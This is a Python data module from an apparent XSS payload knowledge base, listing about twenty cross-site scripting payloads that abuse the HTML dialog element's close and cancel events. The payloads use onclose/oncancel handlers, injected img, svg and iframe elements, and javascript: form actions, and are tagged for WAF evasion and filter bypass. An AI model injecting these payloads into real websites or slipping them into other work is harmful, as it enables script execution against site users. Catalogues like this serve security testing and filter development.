#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Dialog API XSS Payloads

Dialog API allows creating modal dialogs.
Can be used for XSS via close and cancel events.
"""

from ..models import PayloadEntry


DIALOG_API_PAYLOADS = {
    # ============================================================
    # DIALOG API EVENT HANDLERS
    # ============================================================
    "dialog-close-basic": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><form method=dialog><button>Close</button></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event handler",
        tags=["dialog", "close", "api", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-open": PayloadEntry(
        payload="<dialog id=x open onclose=alert(1)><form method=dialog><button>Close</button></form></dialog>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event on open dialog",
        tags=["dialog", "close", "open", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-showModal": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><form method=dialog><button>Close</button></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event via showModal()",
        tags=["dialog", "close", "showModal", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-show": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><form method=dialog><button>Close</button></form></dialog><script>x.show()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event via show()",
        tags=["dialog", "close", "show", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-close": PayloadEntry(
        payload="<dialog id=x open onclose=alert(1)><form method=dialog><button>Close</button></form></dialog><script>x.close()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event via close()",
        tags=["dialog", "close", "close-method", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-form": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><form method=dialog><input type=submit value=Close></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event via form submission",
        tags=["dialog", "close", "form", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-button": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><button formmethod=dialog>Close</button></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event via button formmethod",
        tags=["dialog", "close", "button", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-escape": PayloadEntry(
        payload="<dialog id=x open onclose=alert(1)>Press ESC</dialog>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Dialog API close event via ESC key",
        tags=["dialog", "close", "escape", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "dialog-close-click": PayloadEntry(
        payload="<dialog id=x open onclose=alert(1)>Click backdrop</dialog>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Dialog API close event via backdrop click",
        tags=["dialog", "close", "backdrop", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "dialog-close-cancel": PayloadEntry(
        payload="<dialog id=x onclose=alert(1) oncancel=alert(2)><form method=dialog><button>Close</button></form></dialog><script>x.showModal();x.close()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close and cancel events",
        tags=["dialog", "close", "cancel", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-cancel-basic": PayloadEntry(
        payload="<dialog id=x oncancel=alert(1)><form method=dialog><button>Close</button></form></dialog><script>x.showModal();x.close()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API cancel event handler",
        tags=["dialog", "cancel", "api", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-cancel-escape": PayloadEntry(
        payload="<dialog id=x open oncancel=alert(1)>Press ESC</dialog>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Dialog API cancel event via ESC key",
        tags=["dialog", "cancel", "escape", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "dialog-close-innerHTML": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><img src=x onerror=alert(2)><form method=dialog><button>Close</button></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event with innerHTML injection",
        tags=["dialog", "close", "innerHTML", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-cancel-innerHTML": PayloadEntry(
        payload="<dialog id=x oncancel=alert(1)><img src=x onerror=alert(2)></dialog><script>x.showModal();x.close()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API cancel event with innerHTML injection",
        tags=["dialog", "cancel", "innerHTML", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-svg": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><svg onload=alert(2)></svg><form method=dialog><button>Close</button></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event with SVG injection",
        tags=["dialog", "close", "svg", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-cancel-svg": PayloadEntry(
        payload="<dialog id=x oncancel=alert(1)><svg onload=alert(2)></svg></dialog><script>x.showModal();x.close()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API cancel event with SVG injection",
        tags=["dialog", "cancel", "svg", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-form-action": PayloadEntry(
        payload="<dialog id=x onclose=alert(1)><form method=dialog action=javascript:alert(2)><input type=submit></form></dialog><script>x.showModal()</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event with form action injection",
        tags=["dialog", "close", "form-action", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-iframe": PayloadEntry(
        payload='<dialog id=x onclose=alert(1)><iframe srcdoc="<script>alert(2)</script>"></iframe><form method=dialog><button>Close</button></form></dialog><script>x.showModal()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API close event with iframe injection",
        tags=["dialog", "close", "iframe", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-cancel-iframe": PayloadEntry(
        payload='<dialog id=x oncancel=alert(1)><iframe srcdoc="<script>alert(2)</script>"></iframe></dialog><script>x.showModal();x.close()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API cancel event with iframe injection",
        tags=["dialog", "cancel", "iframe", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dialog-close-nested": PayloadEntry(
        payload='<dialog id=x onclose=alert(1)><dialog id=y onclose=alert(2)><form method=dialog><button>Close</button></form></dialog><form method=dialog><button onclick="y.showModal()">Open Nested</button></form></dialog><script>x.showModal()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog API nested close events",
        tags=["dialog", "close", "nested", "2024"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
}

DIALOG_API_TOTAL_PAYLOADS = len(DIALOG_API_PAYLOADS)
